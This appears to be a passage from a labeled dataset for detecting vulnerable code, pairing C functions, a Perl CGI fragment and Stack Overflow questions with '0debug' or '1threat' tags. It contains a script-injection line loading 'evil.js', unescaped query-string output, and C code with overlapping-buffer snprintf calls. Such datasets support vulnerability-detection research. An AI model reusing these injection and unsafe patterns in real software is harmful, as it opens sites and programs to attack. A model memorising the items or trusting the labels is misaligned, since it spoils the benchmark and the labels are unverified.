{'QUERY_STRING'} \ n \ n <p>"; @values ​​= split (/ & /, $ ENV {'QUERY_STRING'}); Foreach $ i (@values) { ($ Varname, $ mydata) = split (/ = /, $ i); Print "$ varname = $ mydata \ n \ n <p>"; } Print "</ body> </ html> \ n"; Which side is a problem Thank you
0debug
static void qmp_output_type_bool(Visitor *v, const char *name, bool *obj, Error **errp) { QmpOutputVisitor *qov = to_qov(v); qmp_output_add(qov, name, qbool_from_bool(*obj)); }
1threat
How to retrieve the list of cells from first row using java? : <p>I would like to know how to iterate and get the list of cell values from excel file first row or specific row in a sheet using java with poi.</p> <p>Could anyone please help me to know about this...</p> <p>Thanks in advance,</p>
0debug
int ga_install_service(const char *path, const char *logfile) { SC_HANDLE manager; SC_HANDLE service; TCHAR cmdline[MAX_PATH]; if (GetModuleFileName(NULL, cmdline, MAX_PATH) == 0) { printf_win_error("No full path to service's executable"); return EXIT_FAILURE; } _snprintf(cmdline, MAX_PATH - strlen(cmdline), "%s -d", cmdline); if (path) { _snprintf(cmdline, MAX_PATH - strlen(cmdline), "%s -p %s", cmdline, path); } if (logfile) { _snprintf(cmdline, MAX_PATH - strlen(cmdline), "%s -l %s -v", cmdline, logfile); } g_debug("service's cmdline: %s", cmdline); manager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (manager == NULL) { printf_win_error("No handle to service control manager"); return EXIT_FAILURE; } service = CreateService(manager, QGA_SERVICE_NAME, QGA_SERVICE_DISPLAY_NAME, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, cmdline, NULL, NULL, NULL, NULL, NULL); if (service) { SERVICE_DESCRIPTION desc = { (char *)QGA_SERVICE_DESCRIPTION }; ChangeServiceConfig2(service, SERVICE_CONFIG_DESCRIPTION, &desc); printf("Service was installed successfully.\n"); } else { printf_win_error("Failed to install service"); } CloseServiceHandle(service); CloseServiceHandle(manager); return (service == NULL); }
1threat
this program is crashing,why? : #include<iostream> #include<vector> #include<algorithm> using namespace std; int main() { vector<pair<int,int> > arr; arr[0].first=20,arr[0].second=1; arr[1].first=3,arr[1].second=2; arr[2].first=230,arr[2].second=3; arr[3].first=230,arr[3].second=4; arr[4].first=202,arr[4].second=5; arr[5].first=-20,arr[5].second=6; sort(arr.begin(),arr.end()); vector<pair<int,int> >::iterator it; for(it=arr.begin();it!=arr.end();it++) { cout<<it->first<<it->second<<endl; } } > This program isn't running properly,what can be possible reason behind this? also I wanna have sorted pairs vector in which sorting is done by the value.
0debug
static CPAccessResult pmreg_access(CPUARMState *env, const ARMCPRegInfo *ri, bool isread) { if (arm_current_el(env) == 0 && !env->cp15.c9_pmuserenr) { return CP_ACCESS_TRAP; } return CP_ACCESS_OK; }
1threat
static inline int yv12touyvy_unscaled_altivec(SwsContext *c, uint8_t* src[], int srcStride[], int srcSliceY, int srcSliceH, uint8_t* dstParam[], int dstStride_a[]) { uint8_t *dst=dstParam[0] + dstStride_a[0]*srcSliceY; uint8_t *ysrc = src[0]; uint8_t *usrc = src[1]; uint8_t *vsrc = src[2]; const int width = c->srcW; const int height = srcSliceH; const int lumStride = srcStride[0]; const int chromStride = srcStride[1]; const int dstStride = dstStride_a[0]; const int vertLumPerChroma = 2; const vector unsigned char yperm = vec_lvsl(0, ysrc); register unsigned int y; if(width&15){ yv12touyvy( ysrc, usrc, vsrc, dst,c->srcW,srcSliceH, lumStride, chromStride, dstStride); return srcSliceH; } for(y=0; y<height; y++) { int i; for (i = 0; i < width - 31; i+= 32) { const unsigned int j = i >> 1; vector unsigned char v_yA = vec_ld(i, ysrc); vector unsigned char v_yB = vec_ld(i + 16, ysrc); vector unsigned char v_yC = vec_ld(i + 32, ysrc); vector unsigned char v_y1 = vec_perm(v_yA, v_yB, yperm); vector unsigned char v_y2 = vec_perm(v_yB, v_yC, yperm); vector unsigned char v_uA = vec_ld(j, usrc); vector unsigned char v_uB = vec_ld(j + 16, usrc); vector unsigned char v_u = vec_perm(v_uA, v_uB, vec_lvsl(j, usrc)); vector unsigned char v_vA = vec_ld(j, vsrc); vector unsigned char v_vB = vec_ld(j + 16, vsrc); vector unsigned char v_v = vec_perm(v_vA, v_vB, vec_lvsl(j, vsrc)); vector unsigned char v_uv_a = vec_mergeh(v_u, v_v); vector unsigned char v_uv_b = vec_mergel(v_u, v_v); vector unsigned char v_uyvy_0 = vec_mergeh(v_uv_a, v_y1); vector unsigned char v_uyvy_1 = vec_mergel(v_uv_a, v_y1); vector unsigned char v_uyvy_2 = vec_mergeh(v_uv_b, v_y2); vector unsigned char v_uyvy_3 = vec_mergel(v_uv_b, v_y2); vec_st(v_uyvy_0, (i << 1), dst); vec_st(v_uyvy_1, (i << 1) + 16, dst); vec_st(v_uyvy_2, (i << 1) + 32, dst); vec_st(v_uyvy_3, (i << 1) + 48, dst); } if (i < width) { const unsigned int j = i >> 1; vector unsigned char v_y1 = vec_ld(i, ysrc); vector unsigned char v_u = vec_ld(j, usrc); vector unsigned char v_v = vec_ld(j, vsrc); vector unsigned char v_uv_a = vec_mergeh(v_u, v_v); vector unsigned char v_uyvy_0 = vec_mergeh(v_uv_a, v_y1); vector unsigned char v_uyvy_1 = vec_mergel(v_uv_a, v_y1); vec_st(v_uyvy_0, (i << 1), dst); vec_st(v_uyvy_1, (i << 1) + 16, dst); } if((y&(vertLumPerChroma-1))==(vertLumPerChroma-1) ) { usrc += chromStride; vsrc += chromStride; } ysrc += lumStride; dst += dstStride; } return srcSliceH; }
1threat
R define breaks : <p>I want to define the following 6 breaks in R:</p> <pre><code>[00,10) [10,20) [20,30) [30,40) [40,50) [50,60) </code></pre> <p>If I write <code>breaks=seq(from = 0, to = 60, by = 10)</code> I get the following </p> <pre><code>(0,10] (10,20] (20,30] (30,40] (40,50] (50,60] </code></pre> <p>How could I get it?</p>
0debug
CharDriverState *qemu_chr_open_opts(QemuOpts *opts, void (*init)(struct CharDriverState *s)) { CharDriverState *chr; int i; if (qemu_opts_id(opts) == NULL) { fprintf(stderr, "chardev: no id specified\n"); return NULL; } for (i = 0; i < ARRAY_SIZE(backend_table); i++) { if (strcmp(backend_table[i].name, qemu_opt_get(opts, "backend")) == 0) break; } if (i == ARRAY_SIZE(backend_table)) { fprintf(stderr, "chardev: backend \"%s\" not found\n", qemu_opt_get(opts, "backend")); return NULL; } chr = backend_table[i].open(opts); if (!chr) { fprintf(stderr, "chardev: opening backend \"%s\" failed\n", qemu_opt_get(opts, "backend")); return NULL; } if (!chr->filename) chr->filename = qemu_strdup(qemu_opt_get(opts, "backend")); chr->init = init; TAILQ_INSERT_TAIL(&chardevs, chr, next); if (qemu_opt_get_bool(opts, "mux", 0)) { CharDriverState *base = chr; int len = strlen(qemu_opts_id(opts)) + 6; base->label = qemu_malloc(len); snprintf(base->label, len, "%s-base", qemu_opts_id(opts)); chr = qemu_chr_open_mux(base); chr->filename = base->filename; TAILQ_INSERT_TAIL(&chardevs, chr, next); } chr->label = qemu_strdup(qemu_opts_id(opts)); return chr; }
1threat
does webpack can package css into html as <style></style>? : Does a CSS file can be packaged into html file as `<style>class..<style>` in `<header>` via webpack?
0debug
Is the behavior of Python vs Perl regex for carat and dollar different? : <p>In Python:</p> <p>Given a string <code>'ve</code>, I can catch the start of the string with carat:</p> <pre><code>&gt;&gt;&gt; import re &gt;&gt;&gt; s = u"'ve" &gt;&gt;&gt; re.match(u"^[\'][a-z]", s) &lt;_sre.SRE_Match object at 0x1109ee030&gt; </code></pre> <p>So it matches even though the length substring after the single quote is > 1.</p> <p>But for the dollar (matching end of string):</p> <pre><code>&gt;&gt;&gt; import re &gt;&gt;&gt; s = u"'ve" &gt;&gt;&gt; re.match(u"[a-z]$", s) &gt;&gt;&gt; </code></pre> <p>In Perl, from <a href="https://github.com/alvations/mosesdecoder/blob/master/scripts/tokenizer/detokenizer.perl#L128" rel="nofollow noreferrer">here</a></p> <p>It seems like the end of string can be matched with:</p> <pre><code>$s =~ /[\p{IsAlnum}]$/ </code></pre> <p>Is <code>$s =~ /[\p{IsAlnum}]$/</code> the same as <code>re.match(u"[a-z]$", s)</code> ?</p> <p><strong>Why is the carat and dollar behavior different? And are they different for Python and Perl?</strong></p>
0debug
Javascript, TypeError: "function" is not a function : <p>I have this little problem... in this code if I define only start() everything works, but when I declare time(), i got the error: "TypeError: start is not a function". Where is the problem?? Here the code,</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>//start function start(){ //removes title and start boxes var body=document.getElementsByTagName("body")[0]; var start_box=document.getElementById("start_box"); var title_box=document.getElementById("title_box"); body.removeChild(start_box); body.removeChild(title_box); //creates stats box var stats_box=document.createElement("div"); stats_box.id="stats_box"; var time=document.createElement("p"); time.id="time"; var points=document.createElement("p"); points.id="points"; stats_box.appendChild(points); stats_box.appendChild(time); body.appendChild(stats_box); //creates play box var play_box=document.createElement("div"); play_box.id="play_box"; body.appendChild(play_box); } //time function time(){ var time=document.getElementById("time"); for(x=30,x&gt;=0,x--){ time.innerHTML("Time:"+x); } }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;!DOCTYPE HTML&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;PICK 'EM ALL&lt;/title&gt; &lt;link rel="stylesheet" href="pta.css" type="text/css"&gt; &lt;script src="pta.js" type="text/javascript"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="title_box"&gt; &lt;p id="title"&gt;PICK 'EM ALL&lt;/p&gt; &lt;/div&gt; &lt;div id="start_box" onclick="start()"&gt; &lt;p id="start"&gt;START&lt;/p&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p>
0debug
Whats wrong with this syntax? : Below code not working in IE. Console shows syntax error. Whats wrong with this? var text = '{"products":[' + '{"name":"IB-400","mail":"9000@mail.pl"},' + '{"name":"IB-500","mail":"8000@mail.pl"}]}'; var textObj = JSON.parse(text) var mail = textObj.products.find(itm => itm.name == c).mail $( ".komunikat" ).replaceWith( '<div class="komunikat-mail"><h1 style="text-align:center;">Contact</h1><p class="komunikat-paragraph">Lorem ipsum ' + mail +'. Lorem ipsum.</p></div>' );
0debug
def reverse_words(s): return ' '.join(reversed(s.split()))
0debug
Datum, Value, Value Type, Object and Object Type in C++ : <p>First of all, let me say that I am sorry to ask couple of different things on a single SO question but they are all related and I don't know how to separate them. </p> <p>In the book, <code>From Mathematics to Generic Programming</code>, Alexander Stepanov makes following definitions. </p> <p><strong>Defnition 10.1.</strong> A datum is a sequence of bits.</p> <p>01000001 is an example of a datum.</p> <p><strong>Defnition 10.2.</strong> A value is a datum together with its interpretation.</p> <p>So 65 and character 'A' are two different values that can share the same datum if we are to implement them as such in memory.</p> <p><strong>Defnition 10.3.</strong> A value type is a set of values sharing a common interpretation.</p> <p>Up until this point, things are not really about programming. These definitions are more of a philosophical nature. For example, Leibniz could have created a taxonomy of all knowledge using something similar.</p> <p>Things get related to computers here.</p> <p><strong>Defnition 10.4.</strong> An object is a collection of bits in memory that contain a value of a given value type.</p> <p><strong>Defnition 10.5.</strong> An object type is a uniform method of storing and retrieving values of a given value type from a particular object when given its address.</p> <p>So an object is a way to represent things in memory and object type is a way to work with these representation in a programming language. Compiler tracks the relation between object and corresponding object type so I can express abstractions in my program. In light of these definitions, here are couple of questions.</p> <p>Take a look at following code.</p> <pre><code>int b = 5; int&amp; a = b; std::cout &lt;&lt; a + b; </code></pre> <p>I can get that <code>int</code> is an object type. But;</p> <ol> <li><p>What is <code>a</code>, <code>b</code>? Are they variables, identifiers, objects? From the definitions, they don't seem like objects. Do they have object types? If so, they should be an object. Do objects have values?</p></li> <li><p>What is the type of <code>a</code>, if these things indeed have types? To this day I thought its type is <code>reference to an int</code> but are references also object types? If so, <code>int</code>and <code>int &amp;</code> seems like completely same object types. </p></li> <li><p>For an rvalue, we know it has a related object in memory so they have related value types, value and data as well. But do rvalues have object types as well? I am asking these because they are region of storage in the sense of being an object wrt. C++ standard but they are not addressable so it seems like they fail to be objects in the Stepanovian sense.</p></li> </ol> <p>You see, I have a lot of confusion to be cleared up.</p>
0debug
Regex text (including period) and number C# : <p>I'm having a string which contains text (that may have periods in it) followed by a number, and I'm trying to separate text from the number, the code I'm using evaluates the string char by char but is taking too long, so I've tried to use regex but I can't include the period.</p> <p>If the input is A.B123, y need an array or list like: ["A.B","123"]</p>
0debug
document.write('<script src="evil.js"></script>');
1threat
Unable to set SCSS variable to CSS variable? : <p>Consider the following SCSS:</p> <pre><code>$color-black: #000000; body { --color: $color-black; } </code></pre> <p>When it is compiled with node-sass <strong>version 4.7.2</strong>, it produces following CSS:</p> <pre><code>body { --color: #000000; } </code></pre> <p>When I compile the same SCSS with version <strong>4.8.3 or higher</strong>, it produces following:</p> <pre><code>body { --color: $color-black; } </code></pre> <p><strong>What am I missing?</strong> I checked release logs, but could not found anything useful. Also, I wonder if this change is genuine why does it have only minor version change? Should it not be a major release?</p> <p>Also, <strong>what is my alternative?</strong> Should I use <strong>Interpolation</strong>?</p>
0debug
static void htab_save_first_pass(QEMUFile *f, sPAPRMachineState *spapr, int64_t max_ns) { bool has_timeout = max_ns != -1; int htabslots = HTAB_SIZE(spapr) / HASH_PTE_SIZE_64; int index = spapr->htab_save_index; int64_t starttime = qemu_clock_get_ns(QEMU_CLOCK_REALTIME); assert(spapr->htab_first_pass); do { int chunkstart; while ((index < htabslots) && !HPTE_VALID(HPTE(spapr->htab, index))) { index++; CLEAN_HPTE(HPTE(spapr->htab, index)); } chunkstart = index; while ((index < htabslots) && (index - chunkstart < USHRT_MAX) && HPTE_VALID(HPTE(spapr->htab, index))) { index++; CLEAN_HPTE(HPTE(spapr->htab, index)); } if (index > chunkstart) { int n_valid = index - chunkstart; qemu_put_be32(f, chunkstart); qemu_put_be16(f, n_valid); qemu_put_be16(f, 0); qemu_put_buffer(f, HPTE(spapr->htab, chunkstart), HASH_PTE_SIZE_64 * n_valid); if (has_timeout && (qemu_clock_get_ns(QEMU_CLOCK_REALTIME) - starttime) > max_ns) { break; } } } while ((index < htabslots) && !qemu_file_rate_limit(f)); if (index >= htabslots) { assert(index == htabslots); index = 0; spapr->htab_first_pass = false; } spapr->htab_save_index = index; }
1threat
Implement video editor : <p>I want to implement a "simple" video editor and since I'm new to the topic, I'm not sure how to start. </p> <p>The editor should have the following features / components</p> <ul> <li>A timeline for multiple recordings</li> <li>A video player that plays the edited video in real-time (it should render all added effects and assets)</li> <li>Assets that can be placed on the timeline such as text elements, arrows and so on </li> </ul> <p>I'd like to start with the video player and then build the other components around it. </p> <p>Which frameworks would you recommend? </p> <p>For the player, I'm not sure if DirectShow is the right choice or MediaFoundation would be better. Are there other libraries to consider? FFmpeg? </p>
0debug
How do I query the length of a Django ArrayField? : <p>I have an ArrayField in a model, I'm trying to annotate the length of this field ( so far without any luck) </p> <p><code>F('field_name__len')</code> won't work since join is not allowed inside <code>F()</code>. Even <code>ModelName.objets.values('field_name__len')</code> is not working</p> <p>Any idea?</p> <p>I'm using <strong>django 1.11</strong></p>
0debug
Can someone explain deeply in include and require in php? : <p>I know <code>include</code> and <code>require</code> is used for inserting php in other files like html files. But what I can undertand is the timing of the use of both. Can anyone explain deeply into the two of them? I find some information online but they're all not well explained I think, I mean not clear enough.</p>
0debug
static void build_basic_mjpeg_vlc(MJpegDecodeContext *s) { build_vlc(&s->vlcs[0][0], avpriv_mjpeg_bits_dc_luminance, avpriv_mjpeg_val_dc, 12, 0, 0); build_vlc(&s->vlcs[0][1], avpriv_mjpeg_bits_dc_chrominance, avpriv_mjpeg_val_dc, 12, 0, 0); build_vlc(&s->vlcs[1][0], avpriv_mjpeg_bits_ac_luminance, avpriv_mjpeg_val_ac_luminance, 251, 0, 1); build_vlc(&s->vlcs[1][1], avpriv_mjpeg_bits_ac_chrominance, avpriv_mjpeg_val_ac_chrominance, 251, 0, 1); build_vlc(&s->vlcs[2][0], avpriv_mjpeg_bits_ac_luminance, avpriv_mjpeg_val_ac_luminance, 251, 0, 0); build_vlc(&s->vlcs[2][1], avpriv_mjpeg_bits_ac_chrominance, avpriv_mjpeg_val_ac_chrominance, 251, 0, 0); }
1threat
static void pc_dimm_unplug(HotplugHandler *hotplug_dev, DeviceState *dev, Error **errp) { PCMachineState *pcms = PC_MACHINE(hotplug_dev); PCDIMMDevice *dimm = PC_DIMM(dev); PCDIMMDeviceClass *ddc = PC_DIMM_GET_CLASS(dimm); MemoryRegion *mr = ddc->get_memory_region(dimm); HotplugHandlerClass *hhc; Error *local_err = NULL; if (object_dynamic_cast(OBJECT(dev), TYPE_NVDIMM)) { error_setg(&local_err, "nvdimm device hot unplug is not supported yet."); goto out; } hhc = HOTPLUG_HANDLER_GET_CLASS(pcms->acpi_dev); hhc->unplug(HOTPLUG_HANDLER(pcms->acpi_dev), dev, &local_err); if (local_err) { goto out; } pc_dimm_memory_unplug(dev, &pcms->hotplug_memory, mr); object_unparent(OBJECT(dev)); out: error_propagate(errp, local_err); }
1threat
How to find that particular array Item is present or not Using JQuery + Backbone.js : <p>Each ArrayItem contains no. of Property like Id, Name, Description etc But we want to Fetch ArrayItem with Help of Name Property .</p> <p>So Please give me code suggestion in Jquery or backbonejs without using for loop.</p>
0debug
av_cold void ff_audio_mix_init_x86(AudioMix *am) { #if HAVE_YASM int mm_flags = av_get_cpu_flags(); if (mm_flags & AV_CPU_FLAG_SSE && HAVE_SSE) { ff_audio_mix_set_func(am, AV_SAMPLE_FMT_FLTP, AV_MIX_COEFF_TYPE_FLT, 2, 1, 16, 8, "SSE", ff_mix_2_to_1_fltp_flt_sse); ff_audio_mix_set_func(am, AV_SAMPLE_FMT_FLTP, AV_MIX_COEFF_TYPE_FLT, 1, 2, 16, 4, "SSE", ff_mix_1_to_2_fltp_flt_sse); } if (mm_flags & AV_CPU_FLAG_SSE2 && HAVE_SSE) { ff_audio_mix_set_func(am, AV_SAMPLE_FMT_S16P, AV_MIX_COEFF_TYPE_FLT, 2, 1, 16, 8, "SSE2", ff_mix_2_to_1_s16p_flt_sse2); ff_audio_mix_set_func(am, AV_SAMPLE_FMT_S16P, AV_MIX_COEFF_TYPE_Q8, 2, 1, 16, 8, "SSE2", ff_mix_2_to_1_s16p_q8_sse2); ff_audio_mix_set_func(am, AV_SAMPLE_FMT_S16P, AV_MIX_COEFF_TYPE_FLT, 1, 2, 16, 8, "SSE2", ff_mix_1_to_2_s16p_flt_sse2); } if (mm_flags & AV_CPU_FLAG_SSE4 && HAVE_SSE) { ff_audio_mix_set_func(am, AV_SAMPLE_FMT_S16P, AV_MIX_COEFF_TYPE_FLT, 2, 1, 16, 8, "SSE4", ff_mix_2_to_1_s16p_flt_sse4); ff_audio_mix_set_func(am, AV_SAMPLE_FMT_S16P, AV_MIX_COEFF_TYPE_FLT, 1, 2, 16, 8, "SSE4", ff_mix_1_to_2_s16p_flt_sse4); } if (mm_flags & AV_CPU_FLAG_AVX && HAVE_AVX) { ff_audio_mix_set_func(am, AV_SAMPLE_FMT_FLTP, AV_MIX_COEFF_TYPE_FLT, 2, 1, 32, 16, "AVX", ff_mix_2_to_1_fltp_flt_avx); ff_audio_mix_set_func(am, AV_SAMPLE_FMT_FLTP, AV_MIX_COEFF_TYPE_FLT, 1, 2, 32, 8, "AVX", ff_mix_1_to_2_fltp_flt_avx); ff_audio_mix_set_func(am, AV_SAMPLE_FMT_S16P, AV_MIX_COEFF_TYPE_FLT, 1, 2, 16, 8, "AVX", ff_mix_1_to_2_s16p_flt_avx); } SET_MIX_3_8_TO_1_2(3) SET_MIX_3_8_TO_1_2(4) SET_MIX_3_8_TO_1_2(5) SET_MIX_3_8_TO_1_2(6) SET_MIX_3_8_TO_1_2(7) SET_MIX_3_8_TO_1_2(8) #endif }
1threat
fdctrl_t *sun4m_fdctrl_init (qemu_irq irq, target_phys_addr_t io_base, DriveInfo **fds, qemu_irq *fdc_tc) { DeviceState *dev; fdctrl_sysbus_t *sys; fdctrl_t *fdctrl; dev = qdev_create(NULL, "SUNW,fdtwo"); qdev_prop_set_drive(dev, "drive", fds[0]); if (qdev_init(dev) != 0) return NULL; sys = DO_UPCAST(fdctrl_sysbus_t, busdev.qdev, dev); fdctrl = &sys->state; sysbus_connect_irq(&sys->busdev, 0, irq); sysbus_mmio_map(&sys->busdev, 0, io_base); *fdc_tc = qdev_get_gpio_in(dev, 0); return fdctrl; }
1threat
Vue 'export default' vs 'new Vue' : <p>I just installed Vue and have been following some tutorials to create a project using the vue-cli webpack template. When it creates the component, I notice it binds our data inside of the following:</p> <pre><code>export default { name: 'app', data: [] } </code></pre> <p>Whereas in other tutorials I see data being bound from:</p> <pre><code>new Vue({ el: '#app', data: [] )} </code></pre> <p><strong>What is the difference, and why does it seem like the syntax between the two is different?</strong> I'm having trouble getting the 'new Vue' code to work from inside the tag I'm using from the App.vue generated by the vue-cli.</p>
0debug
Check if a string match the curret houer of time, then add a ID : I have a list of task starting with the time and then the task description. example `<li><span>11:00</span><p>task description</p></li>` How do i use javascript to check if the string inside span match the current hour of time and then add a ID to the span if the hour (not minute only hour) match.
0debug
RuntimeError: tf.placeholder() is not compatible with eager execution : <p>I have upgraded with tf_upgrade_v2 TF1 code to TF2. I'm a noob with both. I got the next error:</p> <pre><code>RuntimeError: tf.placeholder() is not compatible with eager execution. </code></pre> <p>I have some <code>tf.compat.v1.placeholder()</code>.</p> <pre><code>self.temperature = tf.compat.v1.placeholder_with_default(1., shape=()) self.edges_labels = tf.compat.v1.placeholder(dtype=tf.int64, shape=(None, vertexes, vertexes)) self.nodes_labels = tf.compat.v1.placeholder(dtype=tf.int64, shape=(None, vertexes)) self.embeddings = tf.compat.v1.placeholder(dtype=tf.float32, shape=(None, embedding_dim)) </code></pre> <p>Could you give me any advice about how to proceed? Any "fast" solutions? or should I to recode this?</p>
0debug
static av_always_inline void filter_mb_row(AVCodecContext *avctx, void *tdata, int jobnr, int threadnr, int is_vp7) { VP8Context *s = avctx->priv_data; VP8ThreadData *td = &s->thread_data[threadnr]; int mb_x, mb_y = td->thread_mb_pos >> 16, num_jobs = s->num_jobs; AVFrame *curframe = s->curframe->tf.f; VP8Macroblock *mb; VP8ThreadData *prev_td, *next_td; uint8_t *dst[3] = { curframe->data[0] + 16 * mb_y * s->linesize, curframe->data[1] + 8 * mb_y * s->uvlinesize, curframe->data[2] + 8 * mb_y * s->uvlinesize }; if (s->mb_layout == 1) mb = s->macroblocks_base + ((s->mb_width + 1) * (mb_y + 1) + 1); else mb = s->macroblocks + (s->mb_height - mb_y - 1) * 2; if (mb_y == 0) prev_td = td; else prev_td = &s->thread_data[(jobnr + num_jobs - 1) % num_jobs]; if (mb_y == s->mb_height - 1) next_td = td; else next_td = &s->thread_data[(jobnr + 1) % num_jobs]; for (mb_x = 0; mb_x < s->mb_width; mb_x++, mb++) { VP8FilterStrength *f = &td->filter_strength[mb_x]; if (prev_td != td) check_thread_pos(td, prev_td, (mb_x + 1) + (s->mb_width + 3), mb_y - 1); if (next_td != td) if (next_td != &s->thread_data[0]) check_thread_pos(td, next_td, mb_x + 1, mb_y + 1); if (num_jobs == 1) { if (s->filter.simple) backup_mb_border(s->top_border[mb_x + 1], dst[0], NULL, NULL, s->linesize, 0, 1); else backup_mb_border(s->top_border[mb_x + 1], dst[0], dst[1], dst[2], s->linesize, s->uvlinesize, 0); } if (s->filter.simple) filter_mb_simple(s, dst[0], f, mb_x, mb_y); else filter_mb(s, dst, f, mb_x, mb_y, is_vp7); dst[0] += 16; dst[1] += 8; dst[2] += 8; update_pos(td, mb_y, (s->mb_width + 3) + mb_x); } }
1threat
static void dvbsub_parse_region_segment(AVCodecContext *avctx, const uint8_t *buf, int buf_size) { DVBSubContext *ctx = avctx->priv_data; const uint8_t *buf_end = buf + buf_size; int region_id, object_id; DVBSubRegion *region; DVBSubObject *object; DVBSubObjectDisplay *display; int fill; if (buf_size < 10) return; region_id = *buf++; region = get_region(ctx, region_id); if (!region) { region = av_mallocz(sizeof(DVBSubRegion)); region->id = region_id; region->next = ctx->region_list; ctx->region_list = region; } fill = ((*buf++) >> 3) & 1; region->width = AV_RB16(buf); buf += 2; region->height = AV_RB16(buf); buf += 2; if (region->width * region->height != region->buf_size) { av_free(region->pbuf); region->buf_size = region->width * region->height; region->pbuf = av_malloc(region->buf_size); fill = 1; } region->depth = 1 << (((*buf++) >> 2) & 7); if(region->depth<2 || region->depth>8){ av_log(avctx, AV_LOG_ERROR, "region depth %d is invalid\n", region->depth); region->depth= 4; } region->clut = *buf++; if (region->depth == 8) region->bgcolor = *buf++; else { buf += 1; if (region->depth == 4) region->bgcolor = (((*buf++) >> 4) & 15); else region->bgcolor = (((*buf++) >> 2) & 3); } av_dlog(avctx, "Region %d, (%dx%d)\n", region_id, region->width, region->height); if (fill) { memset(region->pbuf, region->bgcolor, region->buf_size); av_dlog(avctx, "Fill region (%d)\n", region->bgcolor); } delete_region_display_list(ctx, region); while (buf + 5 < buf_end) { object_id = AV_RB16(buf); buf += 2; object = get_object(ctx, object_id); if (!object) { object = av_mallocz(sizeof(DVBSubObject)); object->id = object_id; object->next = ctx->object_list; ctx->object_list = object; } object->type = (*buf) >> 6; display = av_mallocz(sizeof(DVBSubObjectDisplay)); display->object_id = object_id; display->region_id = region_id; display->x_pos = AV_RB16(buf) & 0xfff; buf += 2; display->y_pos = AV_RB16(buf) & 0xfff; buf += 2; if ((object->type == 1 || object->type == 2) && buf+1 < buf_end) { display->fgcolor = *buf++; display->bgcolor = *buf++; } display->region_list_next = region->display_list; region->display_list = display; display->object_list_next = object->display_list; object->display_list = display; } }
1threat
Connection loses before/while readLine(); : Whenever i try to recieve an answer from my Server, the connection closes. This happens at the `rcvdId = inFromServer.readLine();` from the Client. The server does recieve the variables I am sending. `serialToNucleo.nucleoAnswer` also contains a string .I know the code wont fully work yet as I am only sending 1 variable but I am working on that. Any help would be apreciated. Thx Client `try { Socket skt = new Socket("192.168.1.9" , 6789); BufferedReader inFromServer = new BufferedReader(new InputStreamReader(skt.getInputStream())); PrintWriter out = new PrintWriter(skt.getOutputStream(), true); System.out.print("Sending string: '" + vraagTemp + " and " + vraagId+"'\n"); out.print(vraagTemp + "\n"); out.print(vraagId + "\n"); out.close(); rcvdId = inFromServer.readLine(); rcvdTemp = inFromServer.readLine(); WriteToDb writeToDb = new WriteToDb(); writeToDb.SendDataToDb(rcvdId,rcvdTemp); skt.close(); }` Server: `while (true) { Socket skt = serverSocket.accept(); BufferedReader inFromClient = new BufferedReader(new InputStreamReader(skt.getInputStream())); PrintWriter out = new PrintWriter(skt.getOutputStream(), true); ontvServer = inFromClient.readLine(); id = inFromClient.readLine(); System.out.println("Received: " + ontvServer); if (id != null && ontvServer != null) { serialToNucleo.SetupComm(ontvServer, id); } else { Thread.sleep(100); } if (serialToNucleo.nucleoAnswer!= null) { out.print(serialToNucleo.nucleoAnswer + "\n"); id = null; ontvServer = null; } else { Thread.sleep(100); }`
0debug
What's the difference between Prometheus and Zabbix? : <p>Just as the title said, can you tell me the differences between Prometheus and Zabbix?</p>
0debug
Converting a two layer nested for loop to nested Parallel.for loop in C# : <p>I want to convert the following code in C# to a parallel for. I searched the internet, but I could not find a proper way of doing that. I appreciate your helps.</p> <pre><code>Bitmap bmp = new Bitmap(1792, 2048); for (int i = 0; i &lt; 1792; i++) { for (int j = 0; j &lt; 2048; j++) { bmp.SetPixel(i,j,Color.FromArgb(100, 128, 128)); } } </code></pre>
0debug
build_dsdt(GArray *table_data, BIOSLinker *linker, AcpiPmInfo *pm, AcpiMiscInfo *misc, Range *pci_hole, Range *pci_hole64, MachineState *machine) { CrsRangeEntry *entry; Aml *dsdt, *sb_scope, *scope, *dev, *method, *field, *pkg, *crs; GPtrArray *mem_ranges = g_ptr_array_new_with_free_func(crs_range_free); GPtrArray *io_ranges = g_ptr_array_new_with_free_func(crs_range_free); PCMachineState *pcms = PC_MACHINE(machine); PCMachineClass *pcmc = PC_MACHINE_GET_CLASS(machine); uint32_t nr_mem = machine->ram_slots; int root_bus_limit = 0xFF; PCIBus *bus = NULL; int i; dsdt = init_aml_allocator(); acpi_data_push(dsdt->buf, sizeof(AcpiTableHeader)); build_dbg_aml(dsdt); if (misc->is_piix4) { sb_scope = aml_scope("_SB"); dev = aml_device("PCI0"); aml_append(dev, aml_name_decl("_HID", aml_eisaid("PNP0A03"))); aml_append(dev, aml_name_decl("_ADR", aml_int(0))); aml_append(dev, aml_name_decl("_UID", aml_int(1))); aml_append(sb_scope, dev); aml_append(dsdt, sb_scope); build_hpet_aml(dsdt); build_piix4_pm(dsdt); build_piix4_isa_bridge(dsdt); build_isa_devices_aml(dsdt); build_piix4_pci_hotplug(dsdt); build_piix4_pci0_int(dsdt); } else { sb_scope = aml_scope("_SB"); aml_append(sb_scope, aml_operation_region("PCST", AML_SYSTEM_IO, aml_int(0xae00), 0x0c)); aml_append(sb_scope, aml_operation_region("PCSB", AML_SYSTEM_IO, aml_int(0xae0c), 0x01)); field = aml_field("PCSB", AML_ANY_ACC, AML_NOLOCK, AML_WRITE_AS_ZEROS); aml_append(field, aml_named_field("PCIB", 8)); aml_append(sb_scope, field); aml_append(dsdt, sb_scope); sb_scope = aml_scope("_SB"); dev = aml_device("PCI0"); aml_append(dev, aml_name_decl("_HID", aml_eisaid("PNP0A08"))); aml_append(dev, aml_name_decl("_CID", aml_eisaid("PNP0A03"))); aml_append(dev, aml_name_decl("_ADR", aml_int(0))); aml_append(dev, aml_name_decl("_UID", aml_int(1))); aml_append(dev, aml_name_decl("SUPP", aml_int(0))); aml_append(dev, aml_name_decl("CTRL", aml_int(0))); aml_append(dev, 